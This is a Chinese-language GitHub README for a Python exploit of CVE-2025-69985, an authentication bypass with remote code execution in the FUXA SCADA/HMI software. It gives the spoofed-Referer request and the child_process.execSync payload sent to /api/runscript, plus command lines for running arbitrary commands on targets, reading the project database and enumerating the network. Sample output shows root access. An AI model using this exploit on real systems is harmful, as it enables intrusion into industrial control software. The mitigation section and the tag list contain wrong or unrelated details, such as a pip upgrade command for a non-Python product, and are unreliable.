ladybugsaga/CVE-2025-69985-FUXA-Exploit
GitHub: ladybugsaga/CVE-2025-69985-FUXA-Exploit
针对 FUXA SCADA/HMI 软件 CVE-2025-69985 身份验证绕过漏洞的 Python 利用工具,通过伪造 Referer 头绕过 JWT 认证实现未授权远程代码执行。
Stars: 0 | Forks: 0
# CVE-2025-69985:FUXA ≤ 1.2.8 身份验证绕过 + RCE 漏洞利用
[](https://nvd.nist.gov/vuln/detail/CVE-2025-69985)
[](https://www.python.org/)
[](https://www.gnu.org/licenses/gpl-3.0.en.html)
## 描述
**CVE-2025-69985** 是 [FUXA](https://github.com/frangoteam/FUXA)(基于开源 Web 的 SCADA/HMI 软件)中一个严重的身份验证绕过漏洞,影响版本 ≤ 1.2.8。
该漏洞存在于 `server/api/jwt-helper.js` 中间件中,该中间件错误地信任 HTTP `Referer` 请求头来验证内部请求。攻击者可以通过伪造 `Referer` 请求头绕过 JWT 身份验证,从而访问受保护的 `/api/runscript` 端点以执行任意 Node.js 代码。
### 技术细节
| 属性 | 值 |
|-----------|-------|
| **CVE ID** | CVE-2025-69985 |
| **CVSS 评分** | 9.8 (严重) |
| **受影响版本** | FUXA ≤ 1.2.8 |
| **攻击向量** | 网络 (未经身份验证) |
| **影响** | 远程代码执行 (RCE) |
| **根本原因** | 因信任 Referer 请求头导致身份验证不当 |
| **修补版本** | > 1.2.8 |
## 开始使用
### 前置条件
- Python 3.7+
- `requests` 库 (`pip install requests`)
- Docker (用于构建漏洞测试环境)
### 安装
```
# 克隆仓库
git clone https://github.com/ladybugsaga/CVE-2025-69985-FUXA-Exploit.git
cd CVE-2025-69985-FUXA-Exploit
# 安装依赖
pip install requests
```
## 测试漏洞
### 步骤 1:部署漏洞环境
使用 Docker 部署存在漏洞的 FUXA 实例以进行安全测试:
```
# 部署 FUXA v1.2.0 (vulnerable)
docker run -d \
--name fuxa-vuln \
-p 1881:1881 \
frangoteam/fuxa:1.2.0
# 等待容器初始化
sleep 10
# 验证 FUXA 可访问性
curl http://localhost:1881/
```
### 步骤 2:运行漏洞利用
```
# 基本命令执行
python3 exploit.py -u http://localhost:1881 -c "whoami"
# 获取系统信息
python3 exploit.py -u http://localhost:1881 -c "id"
python3 exploit.py -u http://localhost:1881 -c "uname -a"
python3 exploit.py -u http://localhost:1881 -c "cat /etc/os-release"
# 列出工作目录中的文件
python3 exploit.py -u http://localhost:1881 -c "ls -la"
```
### 预期输出
```
[*] Target : http://localhost:1881
[*] Command: whoami
[*] Preparing payload → executing: whoami
[*] Sending exploit request to /api/runscript ...
[*] Response status: 200
[+] Command executed successfully (CVE-2025-69985 bypass)!
=== COMMAND OUTPUT ===
"root"
======================
================================================================
Exploit completed!.
================================================================
```
## 使用方法
```
python3 exploit.py -u -c
```
### 参数
| 选项 | 必需 | 描述 |
|--------|----------|-------------|
| `-u, --url` | 是 | 目标 URL (例如,`http://target:1881`) |
| `-c, --cmd` | 是 | 要在目标上执行的命令 |
### 示例
```
# 单条命令执行
python3 exploit.py -u http://192.168.1.100:1881 -c "ls -la /"
# 提取 FUXA 配置
python3 exploit.py -u http://target:1881 -c "cat /usr/src/app/FUXA/server/_db/projects.json"
# 网络枚举
python3 exploit.py -u http://target:1881 -c "cat /proc/net/arp"
python3 exploit.py -u http://target:1881 -c "ip addr show"
```
## 工作原理
### 攻击流程
```
Attacker → POST /api/runscript
↓
Referer: http://target:1881/fuxa ← Spoofed header bypasses JWT
↓
Body: {"script": {"code": "require('child_process').execSync('command')"}}
↓
Server → Executes Node.js code via child_process.execSync()
↓
Response: Command output returned in HTTP response
```
### 漏洞代码路径
```
// server/api/jwt-helper.js (vulnerable)
if (req.headers.referer && req.headers.referer.includes(req.headers.host)) {
// Trusts Referer header as "internal" request
return next(); // Bypasses JWT validation
}
```
该漏洞利用构造了一个 multipart 请求,包含:
1. 与目标主机匹配的**伪造 `Referer` 请求头**
2. 使用 `child_process.execSync()` 的**恶意 JavaScript 载荷**
3. 以服务器权限执行代码的 **`/api/runscript` 端点**
## 缓解措施
### 升级
```
# 更新至已修补版本
pip install fuxa>1.2.8
# 或
docker pull frangoteam/fuxa:latest
```
### 临时解决方案
如果无法立即安装补丁:
1. **网络隔离**:将 FUXA 的访问限制为仅限内部网络
2. **反向代理**:在 FUXA 之前添加身份验证层
3. **WAF 规则**:阻止对 `/api/runscript` 具有可疑 Referer 请求头的请求
### 检测
监控以下内容:
- API 请求中出现的异常 `Referer` 请求头
- 对 `/api/runscript` 端点的 POST 请求
- 来自 Node.js 运行时的子进程执行
## 参考
- [CVE-2025-69985 - NVD](https://nvd.nist.gov/vuln/detail/CVE-2025-69985)
- [GitHub 安全通告 GHSA-4r4r-4jp4-wwf9](https://github.com/advisories/GHSA-4r4r-4jp4-wwf9)
- [FUXA 项目](https://github.com/frangoteam/FUXA)
- [Exploit-DB 52544](https://www.exploit-db.com/exploits/52544)
## 免责声明
本工具仅供**教育和授权安全测试目的**使用。作者对滥用本代码不承担任何责任。
- **切勿**对您不拥有的系统使用
- **切勿**在未获得明确书面授权的情况下使用
- **切勿**用于恶意目的
未经授权访问计算机系统在以下法律中是违法的:
- 计算机欺诈和滥用法案 (CFAA) - 美国
- 滥用计算机法 1990 - 英国
- 其他司法管辖区的类似法规
## 许可证
GNU General Public License v3.0 (GPL-3.0)
版权所有 (c) 2026
本程序是自由软件:您可以根据自由软件基金会发布的 GNU 通用公共许可证的条款对其进行重新分发和/或修改,许可证版本为第 3 版或(根据您的选择)任何更高版本。
## 致谢
- **原始漏洞利用作者**:Joshua van der Poll ([@joshuavanderpoll](https://github.com/joshuavanderpoll/))
- **漏洞发现**:FUXA 安全团队/社区
- **CVE 分配**:MITRE Corporation
**仓库**:https://github.com/ladybugsaga/CVE-2025-69985-FUXA-Exploit
**问题**:https://github.com/ladybugsaga/CVE-2025-69985-FUXA-Exploit/issues
标签:CISA项目, CVE-2025-69985, CVSS 9.8, Docker, FUXA, GNU通用公共许可证, HMI, JWT, MITM代理, Node.js, PKINIT, PoC, Python, RCE, Referer欺骗, SCADA, 中间件缺陷, 哈希传递, 安全防御评估, 工控安全, 无后门, 暴力破解, 编程工具, 网络安全, 请求拦截, 身份验证绕过, 远程代码执行, 逆向工具, 隐私保护, 高危漏洞